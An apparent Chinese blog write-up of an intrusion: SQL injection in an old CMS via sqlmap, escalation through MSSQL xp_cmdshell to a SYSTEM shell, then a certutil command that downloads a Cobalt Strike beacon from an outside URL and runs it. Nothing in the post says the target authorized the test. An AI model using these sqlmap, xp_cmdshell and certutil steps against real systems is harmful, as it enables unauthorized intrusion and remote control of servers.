从同事那拿到站点比较老旧的,到处都是注入点
直接放入sqlmap里跑
跑出注入后,看见是mssql,这里使用参数:--current-user,发现并不是sa权限。
同事然后跑出后台账号密码后,找半天找不到后台。
在这个站上找不到后台,随即放弃,然后通过子域名上,找到了一个同样的cms,也是到处都是注入到,同样的配方同样味道,还是找不到后台。
再次丢入sqlmap发现是同一个数据库,只是两个站点在不同的库而已,就在快放弃的时候,同样执行了--current-user发现是sa权限,不同的站点居然数据库的权限不一样,这些有的搞了。
既然找不到后台那就直接通过mssql的xp_cmdshell来写shell吧
首先通过—os-cmd=whoami
返回的是system权限
然后再用—os-shell来实现交互式的shell,再通过powershell来上线cs
首先执行了一下dnslog判断一下目标机器出不出外网
发现主机可以出外网,这时候就可以通过powershell进行上线啦,
但是执行的时候却命令后缺发现,跟我执行的命令不相同,仿佛再在列出进程的名字。
而且不跑完执行不了我的命令,问了下同事有没有相同的状况,他说他执行了netstat,然后我们换了几个ip发现无论执行什么都要先把上次的命令执行结果回显完,才可以继续执行下一个命令。
目标主机进程较多,跑是速度又慢,在等了将近4个小时之后终于跑完了。
然后进行poweshell的上线语句:
发现有格式上的错误,经过了一下排错,怀疑可能是单引号跟双引号的符号问题。
所以打算使用下载恶意exe并执行的形式来获取shell。
使用windos自带的证书下载的命令来绕过下载文件
代码语言:javascript复制certutil -urlcache -split -f https://xxxxxx cs.exe
下载完后,并执行,这时候nt同事说了一句看下有没有下载成功,随即执行了dir命令
然后发现执行的目录在C:WindowsSystem32,底下有9000 个文件,上面说了执行命令后必须回显完成才可以执行下一个命令,心中一万只草泥马奔腾而过。
这里使用了服务器并且加上了sqlmap的免确认参数:--batch命令以及后台执行命令:nohup进行跑
代码语言:javascript复制nohup python sqlmap -r /root/1.txt --batch–os-shell=whoami &
最终在服务器上跑了28个小时才完成了全部回显。。。。。
在上面看到了我们上传的cs的马,随即进行执行
成功上线,system权限